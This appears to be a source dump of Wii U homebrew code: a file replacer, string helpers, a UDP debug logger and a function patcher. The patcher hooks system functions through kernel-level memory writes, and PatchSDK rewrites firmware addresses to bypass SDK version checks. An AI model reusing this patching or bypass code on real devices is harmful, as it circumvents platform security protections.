path.c_str(),"r", &handle, FS_RET_ALL_ERROR)) == FS_STATUS_OK){ int total_read = 0; int ret2 = 0; while ((ret2 = FSReadFile(pClient, pCmd, file+total_read, 1, stats.size-total_read, handle, 0, FS_RET_ALL_ERROR)) > 0){ log_print("Reading filelist.txt\n"); total_read += ret2; } } Directory * dir_cur = dir; char * ptr; char delimiter[] = { '\n', '\r' }; ptr = strtok (file,delimiter); while (ptr != NULL) { std::string dirname(ptr); if(dirname.compare(PARENT_DIR_IDENTIFY) == 0){ // back dir dir_cur = dir_cur->getParent(); if(dir_cur == NULL){ log_print("Something went wrong. Try to delete the filelist.txt\n"); free(file); return false; } }else if(dirname.substr(0,1).compare(DIR_IDENTIFY) == 0){ //DIR dirname = dirname.substr(1); Directory * dir_new = new Directory(dirname); dir_cur->addFolder(dir_new); dir_new->setParent(dir_cur); dir_cur = dir_new; }else { dir_cur->addFile(dirname); } ptr = strtok(NULL, delimiter); } free(file); return true; }else{ return false; } } int FileReplacer::read_dir(const std::string & path , Directory* dir, int * entries, ProgressWindow & progressWindow){ std::vector dirlist; struct dirent *dirent = NULL; DIR *dir_ = NULL; dir_ = opendir(path.c_str()); if (dir_ == NULL) return -1; while ((dirent = readdir(dir_)) != 0) { (*entries)++; bool isDir = dirent->d_type & DT_DIR; const char *filename = dirent->d_name; if(*entries %25 == 0){ progressWindow.setTitle(strfmt("Creating filelist.txt: %d entries found", *entries)); } if(isDir){ dirlist.push_back(new std::string(filename)); }else{ dir->addFile(filename); } } closedir(dir_); for(unsigned int i = 0; i < dirlist.size(); i++){ Directory * dir_new = new Directory(*dirlist[i]); dir->addFolder(dir_new); read_dir((path + "/"+ *dirlist[i]),dir_new,entries,progressWindow); } for(unsigned int i = 0; i < dirlist.size(); i++){ delete dirlist[i]; } return 0; } int FileReplacer::isFileExisting(std::string param){ if(dir_all != 0){ if(dir_all->isInFolder(param)){ return 0; } } return -1; } ================================================ FILE: src/utils/FileReplacer.h ================================================ #include #include "Directory.h" #include "menu/ProgressWindow.h" #include extern "C" { #include "fs/sd_fat_devoptab.h" #include "patcher/fs_logger.h" #include "dynamic_libs/fs_functions.h" } class FileReplacer { public: FileReplacer(std::string path,std::string content,std::string filename,void * pClient,void * pCmd); FileReplacer(std::string filepath,std::string content,std::string filename, ProgressWindow & progressWindow); ~FileReplacer(); bool readFromFile(void *pClient, void *pCmd, const std::string & path , Directory* dir); int read_dir(const std::string & path, Directory * dir,int * entries,ProgressWindow & progressWindow); int isFileExisting(std::string param); int getSize(); std::string getFileListAsString(); private: Directory * dir_all; }; ================================================ FILE: src/utils/StringTools.cpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #include #include #include #include #include #include #include #include const char * fmt(const char * format, ...) { static char strChar[512]; strChar[0] = 0; char * tmp = NULL; va_list va; va_start(va, format); if((vasprintf(&tmp, format, va) >= 0) && tmp) { snprintf(strChar, sizeof(strChar), tmp); free(tmp); va_end(va); return (const char *) strChar; } va_end(va); if(tmp) free(tmp); return NULL; } const wchar_t * wfmt(const char * format, ...) { static wchar_t strWChar[512]; strWChar[0] = 0; if(!format) return (const wchar_t *) strWChar; if(strcmp(format, "") == 0) return (const wchar_t *) strWChar; char * tmp = NULL; va_list va; va_start(va, format); if((vasprintf(&tmp, format, va) >= 0) && tmp) { int bt; int strlength = strlen(tmp); bt = mbstowcs(strWChar, tmp, (strlength < 512) ? strlength : 512 ); free(tmp); tmp = 0; if(bt > 0) { strWChar[bt] = 0; return (const wchar_t *) strWChar; } } va_end(va); if(tmp) free(tmp); return NULL; } int strprintf(std::string &str, const char * format, ...) { int result = 0; char * tmp = NULL; va_list va; va_start(va, format); if((vasprintf(&tmp, format, va) >= 0) && tmp) { str = tmp; result = str.size(); } va_end(va); if(tmp) free(tmp); return result; } std::string strfmt(const char * format, ...) { std::string str; char * tmp = NULL; va_list va; va_start(va, format); if((vasprintf(&tmp, format, va) >= 0) && tmp) { str = tmp; } va_end(va); if(tmp) free(tmp); return str; } bool char2wchar_t(const char * strChar, wchar_t * dest) { if(!strChar || !dest) return false; int bt; bt = mbstowcs(dest, strChar, strlen(strChar)); if (bt > 0) { dest[bt] = 0; return true; } return false; } int strtokcmp(const char * string, const char * compare, const char * separator) { if(!string || !compare) return -1; char TokCopy[512]; strncpy(TokCopy, compare, sizeof(TokCopy)); TokCopy[511] = '\0'; char * strTok = strtok(TokCopy, separator); while (strTok != NULL) { if (strcasecmp(string, strTok) == 0) { return 0; } strTok = strtok(NULL,separator); } return -1; } int strextcmp(const char * string, const char * extension, char seperator) { if(!string || !extension) return -1; char *ptr = strrchr(string, seperator); if(!ptr) return -1; return strcasecmp(ptr + 1, extension); } std::vector stringSplit(const std::string & inValue, const std::string & splitter) { std::string value = inValue; std::vector result; while (true) { unsigned int index = value.find(splitter); if (index == std::string::npos) { result.push_back(value); break; } std::string first = value.substr(0, index); result.push_back(first); if (index + splitter.size() == value.length()) { result.push_back(""); break; } if(index + splitter.size() > value.length()) { break; } value = value.substr(index + splitter.size(), value.length()); } return result; } ================================================ FILE: src/utils/StringTools.h ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #ifndef __STRING_TOOLS_H #define __STRING_TOOLS_H #include #include #include const char * fmt(const char * format, ...); const wchar_t * wfmt(const char * format, ...); int strprintf(std::string &str, const char * format, ...); std::string strfmt(const char * format, ...); bool char2wchar_t(const char * src, wchar_t * dest); int strtokcmp(const char * string, const char * compare, const char * separator); int strextcmp(const char * string, const char * extension, char seperator); inline const char * FullpathToFilename(const char *path) { if(!path) return path; const char * ptr = path; const char * Filename = ptr; while(*ptr != '\0') { if(ptr[0] == '/' && ptr[1] != '\0') Filename = ptr+1; ++ptr; } return Filename; } inline void RemoveDoubleSlashs(std::string &str) { u32 length = str.size(); //! clear path of double slashes for(u32 i = 1; i < length; ++i) { if(str[i-1] == '/' && str[i] == '/') { str.erase(i, 1); i--; length--; } } } std::vector stringSplit(const std::string & value, const std::string & splitter); #endif /* __STRING_TOOLS_H */ ================================================ FILE: src/utils/function_patcher.cpp ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * With code from chadderz and dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include #include #include #include #include "function_patcher.h" #include "common/retain_vars.h" #include "utils/logger.h" #include "common/kernel_defs.h" #include "kernel/kernel_functions.h" #define LIB_CODE_RW_BASE_OFFSET 0xC1000000 #define CODE_RW_BASE_OFFSET 0x00000000 #define DEBUG_LOG_DYN 0 /* * Patches a function that is loaded at the start of each application. Its not required to restore, at least when they are really dynamic. * "normal" functions should be patch with the normal patcher. Current Code by Maschell with the help of dimok. Orignal code by Chadderz. */ void PatchInvidualMethodHooks(hooks_magic_t method_hooks[],s32 hook_information_size, volatile u32 dynamic_method_calls[]) { DEBUG_FUNCTION_LINE("Patching %d given functions\n",hook_information_size); /* Patch branches to it. */ volatile u32 *space = &dynamic_method_calls[0]; s32 method_hooks_count = hook_information_size; u32 skip_instr = 1; u32 my_instr_len = 6; u32 instr_len = my_instr_len + skip_instr; u32 flush_len = 4*instr_len; for(s32 i = 0; i < method_hooks_count; i++) { DEBUG_FUNCTION_LINE("Patching %s ...",method_hooks[i].functionName); if(method_hooks[i].functionType == STATIC_FUNCTION && method_hooks[i].alreadyPatched == 1){ if(isDynamicFunction((u32)OSEffectiveToPhysical((void*)method_hooks[i].realAddr))){ log_printf("The function %s is a dynamic function. Please fix that <3\n", method_hooks[i].functionName); method_hooks[i].functionType = DYNAMIC_FUNCTION; }else{ log_printf("Skipping %s, its already patched\n", method_hooks[i].functionName); space += instr_len; continue; } } u32 physical = 0; u32 repl_addr = (u32)method_hooks[i].replaceAddr; u32 call_addr = (u32)method_hooks[i].replaceCall; u32 real_addr = GetAddressOfFunction(method_hooks[i].functionName,method_hooks[i].library); if(!real_addr){ log_printf("\n"); DEBUG_FUNCTION_LINE("OSDynLoad_FindExport failed for %s\n", method_hooks[i].functionName); space += instr_len; continue; } if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("%s is located at %08X!\n", method_hooks[i].functionName,real_addr);} physical = (u32)OSEffectiveToPhysical((void*)real_addr); if(!physical){ log_printf("Error. Something is wrong with the physical address\n"); space += instr_len; continue; } if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("%s physical is located at %08X!\n", method_hooks[i].functionName,physical);} *(volatile u32 *)(call_addr) = (u32)(space) - CODE_RW_BASE_OFFSET; SC0x25_KernelCopyData((u32)space, physical, 4); space++; //Only works if skip_instr == 1 if(skip_instr == 1){ // fill the restore instruction section method_hooks[i].realAddr = real_addr; method_hooks[i].restoreInstruction = *(space-1); if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("method_hooks[i].realAddr = %08X!\n", method_hooks[i].realAddr);} if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("method_hooks[i].restoreInstruction = %08X!\n",method_hooks[i].restoreInstruction) ;} } else{ log_printf("Error. Can't save %s for restoring!\n", method_hooks[i].functionName); } //adding jump to real function thx @ dimok for the assembler code /* 90 61 ff e0 stw r3,-32(r1) 3c 60 12 34 lis r3,4660 60 63 56 78 ori r3,r3,22136 7c 69 03 a6 mtctr r3 80 61 ff e0 lwz r3,-32(r1) 4e 80 04 20 bctr*/ *space = 0x9061FFE0; space++; *space = 0x3C600000 | (((real_addr + (skip_instr * 4)) >> 16) & 0x0000FFFF); // lis r3, real_addr@h space++; *space = 0x60630000 | ((real_addr + (skip_instr * 4)) & 0x0000ffff); // ori r3, r3, real_addr@l space++; *space = 0x7C6903A6; // mtctr r3 space++; *space = 0x8061FFE0; // lwz r3,-32(r1) space++; *space = 0x4E800420; // bctr space++; DCFlushRange((void*)(space - instr_len), flush_len); ICInvalidateRange((unsigned char*)(space - instr_len), flush_len); //setting jump back u32 replace_instr = 0x48000002 | (repl_addr & 0x03fffffc); DCFlushRange(&replace_instr, 4); SC0x25_KernelCopyData(physical, (u32)OSEffectiveToPhysical(&replace_instr), 4); ICInvalidateRange((void*)(real_addr), 4); method_hooks[i].alreadyPatched = 1; log_printf("done!\n"); } DEBUG_FUNCTION_LINE("Done with patching given functions!\n"); } /* ****************************************************************** */ /* RESTORE ORIGINAL INSTRUCTIONS */ /* ****************************************************************** */ void RestoreInvidualInstructions(hooks_magic_t method_hooks[],s32 hook_information_size) { DEBUG_FUNCTION_LINE("Restoring given functions!\n"); s32 method_hooks_count = hook_information_size; for(s32 i = 0; i < method_hooks_count; i++) { DEBUG_FUNCTION_LINE("Restoring %s... ",method_hooks[i].functionName); if(method_hooks[i].restoreInstruction == 0 || method_hooks[i].realAddr == 0){ log_printf("I dont have the information for the restore =( skip\n"); continue; } u32 real_addr = GetAddressOfFunction(method_hooks[i].functionName,method_hooks[i].library); if(!real_addr){ log_printf("OSDynLoad_FindExport failed for %s\n", method_hooks[i].functionName); continue; } u32 physical = (u32)OSEffectiveToPhysical((void*)real_addr); if(!physical){ log_printf("Something is wrong with the physical address\n"); continue; } if(isDynamicFunction(physical)) { log_printf("Its a dynamic function. We don't need to restore it!\n",method_hooks[i].functionName); } else { physical = (u32)OSEffectiveToPhysical((void*)method_hooks[i].realAddr); //When its an static function, we need to use the old location if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("Restoring %08X to %08X\n",(u32)method_hooks[i].restoreInstruction,physical);} SC0x25_KernelCopyData(physical,(u32)&method_hooks[i].restoreInstruction , 4); if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("ICInvalidateRange %08X\n",(void*)method_hooks[i].realAddr);} ICInvalidateRange((void*)method_hooks[i].realAddr, 4); log_printf("done\n"); } method_hooks[i].alreadyPatched = 0; // In case a } DEBUG_FUNCTION_LINE("Done with restoring given functions!\n"); } s32 isDynamicFunction(u32 physicalAddress){ if((physicalAddress & 0x80000000) == 0x80000000){ return 1; } return 0; } u32 GetAddressOfFunction(const char * functionName,u32 library){ u32 real_addr = 0; if(strcmp(functionName, "OSDynLoad_Acquire") == 0) { memcpy(&real_addr, &OSDynLoad_Acquire, 4); return real_addr; } else if(strcmp(functionName, "LiWaitOneChunk") == 0) { real_addr = (u32)addr_LiWaitOneChunk; return real_addr; } else if(strcmp(functionName, "LiBounceOneChunk") == 0) { //! not required on firmwares above 3.1.0 if(OS_FIRMWARE >= 400) return 0; u32 addr_LiBounceOneChunk = 0x010003A0; real_addr = (u32)addr_LiBounceOneChunk; return real_addr; } u32 rpl_handle = 0; if(library == LIB_CORE_INIT){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_CORE_INIT\n", functionName);} if(coreinit_handle == 0){DEBUG_FUNCTION_LINE("LIB_CORE_INIT not acquired\n"); return 0;} rpl_handle = coreinit_handle; } else if(library == LIB_NSYSNET){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_NSYSNET\n", functionName);} if(nsysnet_handle == 0){DEBUG_FUNCTION_LINE("LIB_NSYSNET not acquired\n"); return 0;} rpl_handle = nsysnet_handle; } else if(library == LIB_GX2){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_GX2\n", functionName);} if(gx2_handle == 0){DEBUG_FUNCTION_LINE("LIB_GX2 not acquired\n"); return 0;} rpl_handle = gx2_handle; } else if(library == LIB_AOC){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_AOC\n", functionName);} if(aoc_handle == 0){DEBUG_FUNCTION_LINE("LIB_AOC not acquired\n"); return 0;} rpl_handle = aoc_handle; } else if(library == LIB_AX){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_AX\n", functionName);} if(sound_handle == 0){DEBUG_FUNCTION_LINE("LIB_AX not acquired\n"); return 0;} rpl_handle = sound_handle; } else if(library == LIB_AX_OLD){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_AX_OLD\n", functionName);} if(sound_handle_old == 0){DEBUG_FUNCTION_LINE("LIB_AX_OLD not acquired\n"); return 0;} rpl_handle = sound_handle_old; } else if(library == LIB_FS){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_FS\n", functionName);} if(coreinit_handle == 0){DEBUG_FUNCTION_LINE("LIB_FS not acquired\n"); return 0;} rpl_handle = coreinit_handle; } else if(library == LIB_OS){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_OS\n", functionName);} if(coreinit_handle == 0){DEBUG_FUNCTION_LINE("LIB_OS not acquired\n"); return 0;} rpl_handle = coreinit_handle; } else if(library == LIB_PADSCORE){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_PADSCORE\n", functionName);} if(padscore_handle == 0){DEBUG_FUNCTION_LINE("LIB_PADSCORE not acquired\n"); return 0;} rpl_handle = padscore_handle; } else if(library == LIB_SOCKET){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_SOCKET\n", functionName);} if(nsysnet_handle == 0){DEBUG_FUNCTION_LINE("LIB_SOCKET not acquired\n"); return 0;} rpl_handle = nsysnet_handle; } else if(library == LIB_SYS){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_SYS\n", functionName);} if(sysapp_handle == 0){DEBUG_FUNCTION_LINE("LIB_SYS not acquired\n"); return 0;} rpl_handle = sysapp_handle; } else if(library == LIB_VPAD){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_VPAD\n", functionName);} if(vpad_handle == 0){DEBUG_FUNCTION_LINE("LIB_VPAD not acquired\n"); return 0;} rpl_handle = vpad_handle; } else if(library == LIB_NN_ACP){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_NN_ACP\n", functionName);} if(acp_handle == 0){DEBUG_FUNCTION_LINE("LIB_NN_ACP not acquired\n"); return 0;} rpl_handle = acp_handle; } else if(library == LIB_SYSHID){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_SYSHID\n", functionName);} if(syshid_handle == 0){DEBUG_FUNCTION_LINE("LIB_SYSHID not acquired\n"); return 0;} rpl_handle = syshid_handle; } else if(library == LIB_VPADBASE){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_VPADBASE\n", functionName);} if(vpadbase_handle == 0){DEBUG_FUNCTION_LINE("LIB_VPADBASE not acquired\n"); return 0;} rpl_handle = vpadbase_handle; } else if(library == LIB_PROC_UI){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_PROC_UI\n", functionName);} if(proc_ui_handle == 0){DEBUG_FUNCTION_LINE("LIB_PROC_UI not acquired\n"); return 0;} rpl_handle = proc_ui_handle; } else if(library == LIB_NTAG){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_NTAG\n", functionName);} if(ntag_handle == 0){DEBUG_FUNCTION_LINE("LIB_NTAG not acquired\n"); return 0;} rpl_handle = proc_ui_handle; } else if(library == LIB_NFP){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_NFP\n", functionName);} if(nfp_handle == 0){DEBUG_FUNCTION_LINE("LIB_NFP not acquired\n"); return 0;} rpl_handle = nfp_handle; } else if(library == LIB_SAVE){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_SAVE\n", functionName);} if(nn_save_handle == 0){DEBUG_FUNCTION_LINE("LIB_SAVE not acquired\n"); return 0;} rpl_handle = nn_save_handle; } else if(library == LIB_ACT){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_ACT\n", functionName);} if(nn_act_handle == 0){DEBUG_FUNCTION_LINE("LIB_ACT not acquired\n"); return 0;} rpl_handle = nn_act_handle; } else if(library == LIB_NIM){ if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE("FindExport of %s! From LIB_NIM\n", functionName);} if(nn_nim_handle == 0){DEBUG_FUNCTION_LINE("LIB_NIM not acquired\n"); return 0;} rpl_handle = nn_nim_handle; } if(!rpl_handle){ DEBUG_FUNCTION_LINE("Failed to find the RPL handle for %s\n", functionName); return 0; } OSDynLoad_FindExport(rpl_handle, 0, functionName, &real_addr); if(!real_addr){ DEBUG_FUNCTION_LINE("OSDynLoad_FindExport failed for %s\n", functionName); return 0; } if((library == LIB_NN_ACP) && (u32)(*(volatile u32*)(real_addr) & 0x48000002) == 0x48000000) { u32 address_diff = (u32)(*(volatile u32*)(real_addr) & 0x03FFFFFC); if((address_diff & 0x03000000) == 0x03000000) { address_diff |= 0xFC000000; } real_addr += (s32)address_diff; if((u32)(*(volatile u32*)(real_addr) & 0x48000002) == 0x48000000){ return 0; } } return real_addr; } void PatchSDK(void) { if(gPatchSDKDone) return; gPatchSDKDone = 1; log_printf("Patching SDK\n"); // this only needs gLoaderPhysicalBufferAddr = (u32)OSEffectiveToPhysical((void*)0xF6000000); if(gLoaderPhysicalBufferAddr == 0) gLoaderPhysicalBufferAddr = 0x1B000000; // this is just in case and probably never needed u32 sdkLeAddr = 0; u32 sdkGtAddr = 0; u32 sdkLePatch = 0; u32 sdkGtPatch = 0; /* Patch to bypass SDK version tests */ if((OS_FIRMWARE == 532) || (OS_FIRMWARE == 540)) { /* Patch to bypass SDK version tests */ sdkLeAddr = 0x010095b4; sdkLePatch = 0x480000a0; // ble loc_1009654 (0x408100a0) => b loc_1009654 (0x480000a0) sdkGtAddr = 0x01009658; sdkGtPatch = 0x480000e8; // bge loc_1009740 (0x408100a0) => b loc_1009740 (0x480000e8) } else if((OS_FIRMWARE == 500) || (OS_FIRMWARE == 510)) { /* Patch to bypass SDK version tests */ sdkLeAddr = 0x010091CC; sdkLePatch = 0x480000a0; // ble loc_1009654 (0x408100a0) => b loc_1009654 (0x480000a0) sdkGtAddr = 0x01009270; sdkGtPatch = 0x480000e8; // bge loc_1009740 (0x408100a0) => b loc_1009740 (0x480000e8) } else if ((OS_FIRMWARE == 400) || (OS_FIRMWARE == 410)) { /* Patch to bypass SDK version tests */ sdkLeAddr = 0x01008DAC; sdkLePatch = 0x480000a0; // ble loc_1009654 (0x408100a0) => b loc_1009654 (0x480000a0) sdkGtAddr = 0x01008E50; sdkGtPatch = 0x480000e8; // bge loc_1009740 (0x408100a0) => b loc_1009740 (0x480000e8) } else if (OS_FIRMWARE < 400) { /* Patch to bypass SDK version tests */ sdkLeAddr = 0x010067A8; sdkLePatch = 0x48000088; sdkGtAddr = 0x01006834; sdkGtPatch = 0x480000b8; } else if (OS_FIRMWARE == 550) { /* Patch to bypass SDK version tests */ sdkLeAddr = 0x010097AC; sdkLePatch = 0x480000a0; // ble loc_1009654 (0x408100a0) => b loc_1009654 (0x480000a0) sdkGtAddr = 0x01009850; sdkGtPatch = 0x480000e8; // bge loc_1009740 (0x408100a0) => b loc_1009740 (0x480000e8) } u32 sdkLePhysAddr = (u32)OSEffectiveToPhysical((void*)sdkLeAddr); u32 sdkGtPhysAddr = (u32)OSEffectiveToPhysical((void*)sdkGtAddr); if(sdkLePhysAddr != 0 && sdkGtPhysAddr != 0) { DCFlushRange(&sdkLePatch, sizeof(sdkLePatch)); DCFlushRange(&sdkGtPatch, sizeof(sdkGtPatch)); SC0x25_KernelCopyData(sdkLePhysAddr, (u32)OSEffectiveToPhysical(&sdkLePatch), 4); SC0x25_KernelCopyData(sdkGtPhysAddr, (u32)OSEffectiveToPhysical(&sdkGtPatch), 4); ICInvalidateRange((void*)(sdkLeAddr), 4); ICInvalidateRange((void*)(sdkGtPhysAddr), 4); } } ================================================ FILE: src/utils/function_patcher.h ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * With code from chadderz and dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _FUNCTION_HOOKS_H_ #define _FUNCTION_HOOKS_H_ #ifdef __cplusplus extern "C" { #endif #include #include "common/common.h" #include "dynamic_libs/aoc_functions.h" #include "dynamic_libs/ax_functions.h" #include "dynamic_libs/fs_functions.h" #include "dynamic_libs/gx2_functions.h" #include "dynamic_libs/os_functions.h" #include "dynamic_libs/padscore_functions.h" #include "dynamic_libs/socket_functions.h" #include "dynamic_libs/sys_functions.h" #include "dynamic_libs/vpad_functions.h" #include "dynamic_libs/acp_functions.h" #include "dynamic_libs/syshid_functions.h" #include "dynamic_libs/proc_ui_functions.h" #include "dynamic_libs/ntag_functions.h" #include "dynamic_libs/nfp_functions.h" #include "dynamic_libs/nn_save_functions.h" #include "dynamic_libs/nn_act_functions.h" #include "dynamic_libs/nn_nim_functions.h" //Orignal code by Chadderz. #define DECL(res, name, ...) \ res (* real_ ## name)(__VA_ARGS__) __attribute__((section(".data"))); \ res my_ ## name(__VA_ARGS__) #define FUNCTION_PATCHER_METHOD_STORE_SIZE 7 typedef struct { const u32 replaceAddr; const u32 replaceCall; const u32 library; const char functionName[50]; u32 realAddr; u32 restoreInstruction; u8 functionType; u8 alreadyPatched; } hooks_magic_t; void PatchInvidualMethodHooks(hooks_magic_t hook_information[],s32 hook_information_size, volatile u32 dynamic_method_calls[]); void RestoreInvidualInstructions(hooks_magic_t hook_information[],s32 hook_information_size); u32 GetAddressOfFunction(const char * functionName,u32 library); s32 isDynamicFunction(u32 physicalAddress); void PatchSDK(void); //Orignal code by Chadderz. #define MAKE_MAGIC(x, lib,functionType) { (u32) my_ ## x, (u32) &real_ ## x, lib, # x,0,0,functionType,0} #define MAKE_MAGIC_NAME(x,y, lib,functionType) { (u32) my_ ## x, (u32) &real_ ## x, lib, # y,0,0,functionType,0} #ifdef __cplusplus } #endif #endif /* _FS_H */ ================================================ FILE: src/utils/logger.c ================================================ #include #include #include #include #include #include "dynamic_libs/os_functions.h" #include "dynamic_libs/socket_functions.h" #include "logger.h" #ifdef DEBUG_LOGGER static int log_socket = -1; static struct sockaddr_in connect_addr; static volatile int log_lock = 0; void log_init() { int broadcastEnable = 1; log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (log_socket < 0) return; setsockopt(log_socket, SOL_SOCKET, SO_BROADCAST, &broadcastEnable, sizeof(broadcastEnable)); memset(&connect_addr, 0, sizeof(struct sockaddr_in)); connect_addr.sin_family = AF_INET; connect_addr.sin_port = 4405; connect_addr.sin_addr.s_addr = htonl(INADDR_BROADCAST); } void log_print(const char *str) { // socket is always 0 initially as it is in the BSS if(log_socket < 0) { return; } while(log_lock) os_usleep(1000); log_lock = 1; int len = strlen(str); int ret; while (len > 0) { int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet ret = sendto(log_socket, str, block, 0, (struct sockaddr *)&connect_addr, sizeof(struct sockaddr_in)); if(ret < 0) break; len -= ret; str += ret; } log_lock = 0; } void log_printf(const char *format, ...) { if(log_socket < 0) { return; } char * tmp = NULL; va_list va; va_start(va, format); if((vasprintf(&tmp, format, va) >= 0) && tmp) { log_print(tmp); } va_end(va); if(tmp) free(tmp); } #endif ================================================ FILE: src/utils/logger.h ================================================ #ifndef __LOGGER_H_ #define __LOGGER_H_ #ifdef __cplusplus extern "C" { #endif #include #define __FILENAME_X__ (strrchr(__FILE__, '\\') ? strrchr(__FILE__, '\\') + 1 : __FILE__) #define __FILENAME__ (strrchr(__FILE__, '/') ? strrchr(__FILE__, '/') + 1 : __FILENAME_X__) #define DEBUG_FUNCTION_LINE(FMT, ARGS...)do { \ log_printf("[%24s]%30s@L%04d: " FMT "",__FILENAME__,__FUNCTION__, __LINE__, ## ARGS); \ } while (0) #define DEBUG_LOGGER 0 /* Communication bytes with the server */ // Com #define BYTE_NORMAL 0xff #define BYTE_SPECIAL 0xfe #define BYTE_OK 0xfd #define BYTE_PING 0xfc #define BYTE_LOG_STR 0xfb #define BYTE_DISCONNECT 0xfa // SD #define BYTE_MOUNT_SD 0xe0 #define BYTE_MOUNT_SD_OK 0xe1 #define BYTE_MOUNT_SD_BAD 0xe2 // Replacement #define BYTE_STAT 0x00 #define BYTE_STAT_ASYNC 0x01 #define BYTE_OPEN_FILE 0x02 #define BYTE_OPEN_FILE_ASYNC 0x03 #define BYTE_OPEN_DIR 0x04 #define BYTE_OPEN_DIR_ASYNC 0x05 #define BYTE_CHANGE_DIR 0x06 #define BYTE_CHANGE_DIR_ASYNC 0x07 #define BYTE_MAKE_DIR 0x08 #define BYTE_MAKE_DIR_ASYNC 0x09 #define BYTE_RENAME 0x0A #define BYTE_RENAME_ASYNC 0x0B #define BYTE_REMOVE 0x0C #define BYTE_REMOVE_ASYNC 0x0D // Log #define BYTE_CLOSE_FILE 0x40 #define BYTE_CLOSE_FILE_ASYNC 0x41 #define BYTE_CLOSE_DIR 0x42 #define BYTE_CLOSE_DIR_ASYNC 0x43 #define BYTE_FLUSH_FILE 0x44 #define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 #define BYTE_GET_LAST_ERROR 0x46 #define BYTE_GET_MOUNT_SOURCE 0x47 #define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 #define BYTE_GET_POS_FILE 0x49 #define BYTE_SET_POS_FILE 0x4A #define BYTE_GET_STAT_FILE 0x4B #define BYTE_EOF 0x4C #define BYTE_READ_FILE 0x4D #define BYTE_READ_FILE_ASYNC 0x4E #define BYTE_READ_FILE_WITH_POS 0x4F #define BYTE_READ_DIR 0x50 #define BYTE_READ_DIR_ASYNC 0x51 #define BYTE_GET_CWD 0x52 #define BYTE_SET_STATE_CHG_NOTIF 0x53 #define BYTE_TRUNCATE_FILE 0x54 #define BYTE_WRITE_FILE 0x55 #define BYTE_WRITE_FILE_WITH_POS 0x56 #define BYTE_SAVE_INIT 0x57 #define BYTE_SAVE_SHUTDOWN 0x58 #define BYTE_SAVE_INIT_SAVE_DIR 0x59 #define BYTE_SAVE_FLUSH_QUOTA 0x5A #define BYTE_SAVE_OPEN_DIR 